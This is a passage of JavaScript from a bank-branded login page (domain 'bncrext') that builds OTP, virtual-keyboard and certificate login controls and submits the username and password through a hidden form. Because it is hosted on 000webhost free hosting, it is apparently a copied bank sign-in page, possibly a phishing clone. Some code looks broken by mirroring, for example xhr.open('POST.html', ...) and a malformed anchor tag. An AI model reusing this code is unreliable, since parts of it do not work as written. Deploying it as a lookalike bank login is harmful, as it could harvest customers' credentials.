      tbl += document.getElementById("totp").outerHTML;
      tbl += '                </div>';
      tbl += '                <table id="keyBoardTableNumber" class="keyBoardTableNumber">';
      tbl += '                    <tbody>';
      tbl += '                        <tr>';
      tbl += document.getElementById("context").outerHTML;
      tbl += document.getElementById("authMethod").outerHTML;
      if (ElementExist('authid')) {
        tbl += document.getElementById("authid").outerHTML;
      }
      tbl += '                        </tr>';
      tbl += '                    </tbody>';
      tbl += '                </table>';
      tbl += '            </div>';
      tbl += '        </div>';
      tbl += '        <div id="KeyboardTimmer" class="KeyboardTimmer">';
      tbl += document.getElementById("continueButton").outerHTML;
      tbl += '        </div>';
      tbl += '    </div>';
      tbl += '    <div class="KeyboardTimmer"><hr><div id="divGotoInit"> <input id="bntGotoInit" type="button" value="Ir al Inicio" onclick="return WindowsRedirect(true);"/></div></div>';

      document.getElementById('loginForm').innerHTML = tbl;

    }
  }
  catch (ex) {
    console.log(ex);
  }
}


/*
* Apply CSS to Input
*/
function ApplyCSSInput(pstrInputName, strStyle) {

  // CSS Input 
  if (ElementExist(pstrInputName)) {
    document.getElementById(pstrInputName).style.cssText = strStyle;
  }

}


/* Set Value to Element */
function SetValueInput(pNameInput, pstrValue, pblnIsInputUsername) {

  if (ElementExist(pNameInput)) {

    if (pblnIsInputUsername) { // Asigna dominio
      if (document.getElementById(pNameInput).value.indexOf("BNCREXT") === -1) {
        //document.getElementById(pNameInput).value = "BNCREXT\\" + pstrValue;
        document.getElementById(pNameInput).value = pstrValue;
      }
    } else {

      if (document.getElementById(pNameInput).value) {
        document.getElementById(pNameInput).value = pstrValue;
      } else {
        document.getElementById(pNameInput).innerHTML = pstrValue;
      }
    }

  }
}


/* Control Footer */
function ControlFooter(typeF) {
  try {
    if (ElementExist('footerPlaceholder') && ElementExist('ul_LoginL') && ElementExist('ul_LoginC') && ElementExist('ul_LoginR') && ElementExist('ul_KeyBoardL') && ElementExist('ul_KeyBoardC') && ElementExist('ul_KeyBoardR') && ElementExist('ul_OTPL') && ElementExist('ul_OTPC') && ElementExist('ul_OTPR')) {

      if (typeF === 1) {
        document.getElementById('ul_LoginL').setAttribute("class", "menulinkHref footer_Display");
        document.getElementById('ul_LoginC').setAttribute("class", "menulinkHref footer_Display");
        document.getElementById('ul_LoginR').setAttribute("class", "menulinkHref footer_Display");
        document.getElementById('ul_ModuloR').setAttribute("class", "menulinkHref footer_Display");
      }
      if (typeF === 2) {
        document.getElementById('ul_KeyBoardL').setAttribute("class", "menulinkHref footer_Display");
        document.getElementById('ul_KeyBoardC').setAttribute("class", "menulinkHref footer_Display");
        document.getElementById('ul_KeyBoardR').setAttribute("class", "menulinkHref footer_Display");
      }
      if (typeF === 3) {
        document.getElementById('ul_OTPL').setAttribute("class", "menulinkHref footer_Display");
        document.getElementById('ul_OTPC').setAttribute("class", "menulinkHref footer_Display");
        document.getElementById('ul_OTPR').setAttribute("class", "menulinkHref footer_Display");
      }
    }

  } catch (ex) {
    console.log(ex);
  }
}

function GetReturnUri() {
  var uri = '';
  try {
    var urlsplit = window.location.toString();
    urlsplit = urlsplit.split('&');
    if (urlsplit.length > 1) {
      var params = {};
      for (i in urlsplit) {
        var key = urlsplit[i].split('=');
        if (key.length < 2) continue;
        if (key[0].indexOf('returnUrl').toString() !== '-1') {
          uri = unescape(key[1]);
        }
      }
    }
  } catch (ex) {
    console.log(ex);
  }
  return uri;
}


/*
* Recupera informaci�n de URL y parametros
* %26 = &
* %3D = =
* %3F= ?
*/
function GetParamts() {


  if (ElementExist('signoutArea') && !ElementExist('formsAuthenticationArea')) {
    WindowsRedirect();
  }

  var tkQuery = "tk";

  if (ElementExist('formsAuthenticationArea') && IsIB()) {

    var keyValPairs = [];
    var params = {};

    var urlsplit = window.location.toString().split('%3F');

    if (urlsplit.length > 1) {

      keyValPairs = urlsplit[1].split('%26'); //&

      for (i in keyValPairs) {
        var key = keyValPairs[i].split('='); // =

        if (!key.length) continue;

        key = key[0]; // Get Key from QueryString

        if (!keyValPairs[i].split('=').length) continue;

        var value = keyValPairs[i].split('=')[1]; // Get Value from QueryString


        if (value.split('&').length) // Valid contains & 
          value = value.split('&')[0];

        if (typeof params[key] === 'undefined')
          params[key] = [];

        params[key].push(value);
      }
    }

    if (params[tkQuery] && params[tkQuery] !== "") {

      try {
        var tk = params[tkQuery].toString().replace('[', '').replace(']', '');
        tk = "\"" + tk + "\"";

        var xhr = new XMLHttpRequest();
        xhr.open("POST.html", urlApiToken, true);
        xhr.setRequestHeader('Content-Type', 'application/json; charset=utf-8');
        xhr.send(tk);

        xhr.onreadystatechange = function () {

          if (xhr.readyState === 4) {
            if (xhr.status === 200 && (typeof xhr.response !== "undefined" && xhr.response !== '' && xhr.response !== null) && (typeof xhr.responseText !== "undefined" && xhr.responseText !== '' && xhr.responseText !== null)) {
              try {
                var lobjData = JSON.parse(xhr.responseText);

                SetValueInput('userNameInput', lobjData.Identificacion, true);

                if (ElementExist('passwordInput')) {
                  document.getElementById("passwordInput").focus();
                }

              } catch (ex) {
                console.log(ex);
              }

            }
          }
        };
      } catch (ex) {
        console.log(ex);
      }
    }
  }
}

function GetUsrName() {

  var strReturn = '';
  try {

    if (!IsIBMovil()) {
      return strReturn;
    }

    var urltoSplit = window.location.toString().split('usuario%3D');

    if (urltoSplit.length > 1) {

      var keyValPairs = urltoSplit[1].split('&');

      if (keyValPairs.length > 1) {

        if (keyValPairs[0] && keyValPairs[0] !== "" && keyValPairs[0].length > 1) {
          strReturn = keyValPairs[0];
        }

      }
    }

  } catch (ex) {
    console.log(ex);
  }

  return strReturn;
}

/* Appen Password Div */
function AppendLostPassword() {
  try {
    if (ElementExist('formsAuthenticationArea')) {
      var div = document.createElement('div');
      div.className = 'divInfo';
      div.id = 'divInfoId';

      var a = '';
      if (IsIBMovil()) {
        a = '<div id="lostPassword"><a href="' + urlLostPasswordBnMovil + '" </div>';
      } else {
        a = '<div id="lostPassword"><a href="' + urlLostPassword + '"';
      }
      div.innerHTML = a;
      var frm = document.getElementById('formsAuthenticationArea');
      frm.appendChild(div);
    }



  } catch (ex) {
    console.log(ex);
  }
}

/* Appen Cert Div */
function AppendCertificate() {
  try {
    if (ElementExist('CertificateAuthentication') &&
      ElementExist('authOptionLinks') &&
      ElementExist('formsAuthenticationArea') &&
      ElementExist('userNameArea')) {

      //document.getElementById('authOptionLinks').setAttribute("onclick", "return CertificateClick();");
      //document.getElementById('authOptionLinks').setAttribute("class", "keyBtn");
      var btn = document.createElement("INPUT");
      btn.setAttribute("type", "button");
      btn.innerHTML = "";
      btn.setAttribute("class", "botonCert");
      btn.setAttribute("alt", "Ingresar con certificado");
      btn.setAttribute("title", "Ingresar con certificado");
      btn.setAttribute("onclick", "return CertificateClick();"); // for FF   
      btn.tabIndex = 5;
      document.getElementById('authOptionLinks').appendChild(btn);
      document.getElementById("CertificateAuthentication").style.display = "none";

      var bl = false;
      var frm = null;
      if (ElementExist('KeyboardTimmer')) {
        frm = document.getElementById('KeyboardTimmer');
      } else {
        frm = document.getElementById('userNameArea');
        bl = true;
      }

      var a = document.getElementById('authOptionLinks').outerHTML;

      document.getElementById("authOptionLinks").outerHTML = "";
      var div = document.createElement('div');
      div.innerHTML = a;
      div.id = 'divCertificateAuthentication';
      frm.appendChild(div);

      if (ElementExist('userNameInput') && bl === true) {
        frm = document.getElementById('userNameArea');
        a = document.getElementById('userNameInput').outerHTML;
        document.getElementById('userNameInput').outerHTML = '';

        div = document.createElement('div');
        div.innerHTML = a;
        div.id = 'divuserNameInput';
        frm.appendChild(div);

        document.getElementById('passwordInput').style.fontSize = "20px";
      }

      if (IsIBMovil() && ElementExist('divCertificateAuthentication')) {
        document.getElementById('divCertificateAuthentication').outerHTML = '';
      }
    }
  } catch (ex) {
    console.log(ex);
  }
}

/*
 Append UserName Input
*/
function AppendUserName() {


  var labelinput = '<p id="lblnUserName" class="lblnCSSUser"></p>';

  try {

    if (ElementExist('userNameArea')) {
      var div = document.createElement('div');
      div.innerHTML = labelinput;
      div.id = "divblnUserName";
      document.getElementById('userNameArea').appendChild(div);
    }

  } catch (ex) {
    console.log(ex);
  }
}

/*
 Init Functions
*/
function InitControls(flagInitPassword) {

  try {

    if (flagInitPassword) {
      if (ElementExist("passwordInput")) {

        document.getElementById("passwordInput").setAttribute("class", "text fullWidth usrInput InputNoKeyBoard");
        document.getElementById("userNameInput").setAttribute("class", "text fullWidth usrInput InputNoKeyBoard");
        document.getElementById("passwordInput").setAttribute("placeholder", "Clave de Correo");
        document.getElementById("passwordInput").setAttribute("maxlength", 16);
        document.getElementById("userNameInput").setAttribute("maxlength", 25);
        document.getElementById("passwordInput").setAttribute("onpaste", "return false");
        document.getElementById("passwordInput").setAttribute("oncopy", "return false");
        document.getElementById("passwordInput").setAttribute("ondrop", "return false");
      }

      if (ElementExist('introduction')) {
        document.getElementById("introduction").outerHTML = '';
      }
    }
    else {
      // Hide
      if (ElementExist('errorText')) {
        HideShowControl([document.getElementById('errorText')], 'none');
      }

      if (ElementExist('userNameInputLabel') && ElementExist('userNameInput') && ElementExist('submissionArea')) {
        HideShowControl([document.getElementById('userNameInputLabel'), document.getElementById('userNameInput'), document.getElementById('submissionArea')], 'none');
      }

      if (ElementExist('passwordArea')) {
        HideShowControl([document.getElementById('passwordArea')], 'none');
      }

      if (ElementExist("passwordInput")) {

        HideShowControl([document.getElementById('passwordInput')], 'none');
      }

      if (ElementExist("userNameInput")) {
        document.getElementById("userNameInput").setAttribute("maxlength", 30);
        document.getElementById("userNameInput").setAttribute("onpaste", "return false");
        document.getElementById("userNameInput").setAttribute("oncopy", "return false");
        document.getElementById("userNameInput").setAttribute("ondrop", "return false");
      }

      if (ElementExist("submitButton")) {
        HideShowControl([document.getElementById('submitButton')], 'none');
      }
    }



  } catch (ex) {
    console.log(ex);
  }
}

/*
  Validate Letter And Numbers
*/
function LettersAndNumbers(cadena) {

  var banderaNumero = 0;
  var banderaLetras = 0;
  for (var i = 0; i < cadena.length; i++) {
    if (isNumber(cadena.charAt(i))) {
      banderaNumero++;
    } else {
      banderaLetras++;
    }
  }

  if (banderaNumero > 2 && banderaLetras > 2) {
    return true;
  }

  return false;

}

function CertificateClick() {
  try {
    if (ElementExist('CertificateAuthentication')) {
      document.getElementById('CertificateAuthentication').click();
    }
  } catch (ex) {
    console.log(ex);
  }
}

/* Help Click */
function HelpClick() {
  try {
    if (ElementExist('Modal')) {
      document.getElementById("Modal").style.display = "block";
    }
  } catch (ex) {
    console.log(ex);
  }
}

function ValidarErrorCert() {
  try {
    var urla = window.location.toString();
    if (urla.indexOf("49443").toString() !== "-1" && urla.indexOf(indiceAuth).toString() !== "-1") {
      if (ElementExist('errorArea')) {
        var sheets = document.styleSheets;
        for (var i in document.styleSheets) {
          if (sheets[i].href && sheets[i].href.indexOf("style.html") > -1) {
            var urlcss = sheets[i].href.replace(/:49443/gi, '');
            var head = document.head;
            var link = document.createElement("link");
            link.type = "text/css";
            link.rel = "stylesheet";
            link.href = urlcss;
            head.appendChild(link);
          }
        }
      }
    }
  } catch (ex) {
    console.log(ex);
  }

  return false;
}

function RestringirMoviles() {
  var isMobile = {
    Android: function () { return navigator.userAgent.match(/Android/i); },
    BlackBerry: function () { return navigator.userAgent.match(/BlackBerry/i); },
    iOS: function () { return navigator.userAgent.match(/iPhone|iPad|iPod/i); },
    Opera: function () { return navigator.userAgent.match(/Opera Mini/i); },
    Windows: function () { return navigator.userAgent.match(/IEMobile/i); },
    any: function () { return isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows(); }
  };
  if (isMobile.any()) {
    window.location.replace(urlBnMovilDefault);
  }

}


/* Close Click */
function Close(e) {
  try {
    if (ElementExist('spClose') && ElementExist('Modal')) {
      document.getElementById("Modal").style.display = "none";
    }
  } catch (ex) {
    console.log(ex);
  }
}

function LoginErrors() {
  this.userNameFormatError = 'Por favor ingrese un Correo Electronico Valido.';
  this.passwordEmpty = 'Por favor ingrese su contrase�a.';
}

if (typeof Login !== 'text') {
  Login.submitLoginRequest = function () {
    var u = new InputUtil();
    var e = new LoginErrors();
    var userName = document.getElementById(Login.userNameInput);
    var password = document.getElementById(Login.passwordInput);
    if (userName.value && userName.value.match('[\\\\]')) {
      u.setError(userName, e.userNameFormatError);
      return false;
    }

    if (!userName.value) {
      u.setError(userName, e.userNameFormatError);
      return false;
    }

    if (!password.value) {
      u.setError(password, e.passwordEmpty);
      return false;
    }

    var currentForm = document.getElementById("loginForm");
    var hiddenForm = document.createElement("form");
    hiddenForm.setAttribute('method', currentForm.method);
    hiddenForm.setAttribute('action', currentForm.action);
    hiddenForm.setAttribute('id', "hiddenForm");

    var userInput = document.createElement("input");
    userInput.setAttribute('type', "text");
    userInput.setAttribute('name', "UserName");

    if (userName.value && !userName.value.match('[\\\\]')) {
      var userNameValue = 'bncrext\\' + userName.value;
      userInput.setAttribute('value', userNameValue);
    }
    else { userInput.setAttribute('value', userName.value); }

    var pwdInput = document.createElement("input");
    pwdInput.setAttribute("type", "hidden");
    pwdInput.setAttribute("name", "Password");
    pwdInput.setAttribute("value", password.value);

    var authMethodInput = document.createElement("input");
    authMethodInput.setAttribute("type", "text");
    authMethodInput.setAttribute("name", "AuthMethod");
    authMethodInput.setAttribute("value", "FormsAuthentication");

    var submitInput = document.createElement("input");
    submitInput.setAttribute("type", "submit");
    submitInput.setAttribute("value", "Submit");

    hiddenForm.appendChild(userInput);
    hiddenForm.appendChild(pwdInput);
    hiddenForm.appendChild(authMethodInput);
    hiddenForm.appendChild(submitInput);

    document.getElementsByTagName('body')[0].appendChild(hiddenForm);
    hiddenForm.submit();
    document.getElementsByTagName('body')[0].removeChild(hiddenForm);
    return false;
  };
}
//]]></script><div style="text-align: right;position: fixed;z-index:9999999;bottom: 0;width: auto;right: 1%;cursor: pointer;line-height: 0;display:block !important;"><a title="Hosted on free web hosting 000webhost.com. Host your own website for FREE."href=https://www.000webhost.com/?utm_source=000webhostapp&utm_campaign=000_logo&utm_medium=website&utm_content=footer_img target=_blank><img alt=www.000webhost.com src=https://cdn.000webhost.com/000webhost/logo/footer-powered-by-000webhost-white2.png></a></div><script>function getCookie(t){for(var e=t+"=",n=decodeURIComponent(document.cookie).split(";"),o=0;o<n.length;o++){for(var i=n[o];" "==i.charAt(0);)i=i.substring(1);if(0==i.indexOf(e))return i.substring(e.length,i.length)}return""}getCookie("hostinger")&&(document.cookie="hostinger=;expires=Thu, 01 Jan 1970 00:00:01 GMT;",location.reload());var wordpressAdminBody=document.getElementsByClassName("wp-admin")[0],notification=document.getElementsByClassName("notice notice-success is-dismissible"),hostingerLogo=document.getElementsByClassName("hlogo"),mainContent=document.getElementsByClassName("notice_content")[0];if(null!=wordpressAdminBody&&notification.length>0&&null!=mainContent){var googleFont=document.createElement("link");googleFontHref=document.createAttribute("href"),googleFontRel=document.createAttribute("rel"),googleFontHref.value="https://fonts.googleapis.com/css?family=Roboto:300,400,600,700",googleFontRel.value="stylesheet",googleFont.setAttributeNode(googleFontHref),googleFont.setAttributeNode(googleFontRel);var css="@media only screen and (max-width: 576px) {#main_content {max-width: 320px !important;} #main_content h1 {font-size: 30px !important;} #main_content h2 {font-size: 40px !important; margin: 20px 0 !important;} #main_content p {font-size: 14px !important;} #main_content .content-wrapper {text-align: center !important;}} @media only screen and (max-width: 781px) {#main_content {margin: auto; justify-content: center; max-width: 445px;}} @media only screen and (max-width: 1325px) {.web-hosting-90-off-image-wrapper {position: absolute; max-width: 95% !important;} .notice_content {justify-content: center;} .web-hosting-90-off-image {opacity: 0.3;}} @media only screen and (min-width: 769px) {.notice_content {justify-content: space-between;} #main_content {margin-left: 5%; max-width: 445px;} .web-hosting-90-off-image-wrapper {position: absolute; display: flex; justify-content: center; width: 100%; }} .web-hosting-90-off-image {max-width: 90%;} .content-wrapper {min-height: 454px; display: flex; flex-direction: column; justify-content: center; z-index: 5} .notice_content {display: flex; align-items: center;} * {-webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale;} .upgrade_button_red_sale{box-shadow: 0 2px 4px 0 rgba(255, 69, 70, 0.2); max-width: 350px; border: 0; border-radius: 3px; background-color: #ff4546 !important; padding: 15px 55px !important; font-family: 'Roboto', sans-serif; font-size: 16px; font-weight: 600; color: #ffffff;} .upgrade_button_red_sale:hover{color: #ffffff !important; background: #d10303 !important;}",style=document.createElement("style"),sheet=window.document.styleSheets[0];style.styleSheet?style.styleSheet.cssText=css:style.appendChild(document.createTextNode(css)),document.getElementsByTagName("head")[0].appendChild(style),document.getElementsByTagName("head")[0].appendChild(googleFont);var button=document.getElementsByClassName("upgrade_button_red")[0],link=button.parentElement;link.setAttribute("href","https://www.hostinger.com/hosting-starter-offer?utm_source=000webhost&utm_medium=panel&utm_campaign=000-wp"),link.innerHTML='<button class="upgrade_button_red_sale">Go for it</button>',(notification=notification[0]).setAttribute("style","padding-bottom: 0; padding-top: 5px; background-color: #040713; background-size: cover; background-repeat: no-repeat; color: #ffffff; border-left-color: #040713;"),notification.className="notice notice-error is-dismissible";var mainContentHolder=document.getElementById("main_content");mainContentHolder.setAttribute("style","padding: 0;"),hostingerLogo[0].remove();var h1Tag=notification.getElementsByTagName("H1")[0];h1Tag.className="000-h1",h1Tag.innerHTML="Black Friday Prices",h1Tag.setAttribute("style",'color: white; font-family: "Roboto", sans-serif; font-size: 22px; font-weight: 700; text-transform: uppercase;');var h2Tag=document.createElement("H2");h2Tag.innerHTML="Get 90% Off!",h2Tag.setAttribute("style",'color: white; margin: 10px 0 15px 0; font-family: "Roboto", sans-serif; font-size: 60px; font-weight: 700; line-height: 1;'),h1Tag.parentNode.insertBefore(h2Tag,h1Tag.nextSibling);var paragraph=notification.getElementsByTagName("p")[0];paragraph.innerHTML="Get Web Hosting for $0.99/month + SSL Certificate for FREE!",paragraph.setAttribute("style",'font-family: "Roboto", sans-serif; font-size: 16px; font-weight: 700; margin-bottom: 15px;');var list=notification.getElementsByTagName("UL")[0];list.remove();var org_html=mainContent.innerHTML,new_html='<div class="content-wrapper">'+mainContent.innerHTML+'</div><div class="web-hosting-90-off-image-wrapper"><img class="web-hosting-90-off-image" src="https://cdn.000webhost.com/000webhost/promotions/bf-2020-wp-inject-img.png"></div>';mainContent.innerHTML=new_html;var saleImage=mainContent.getElementsByClassName("web-hosting-90-off-image")[0]}</script>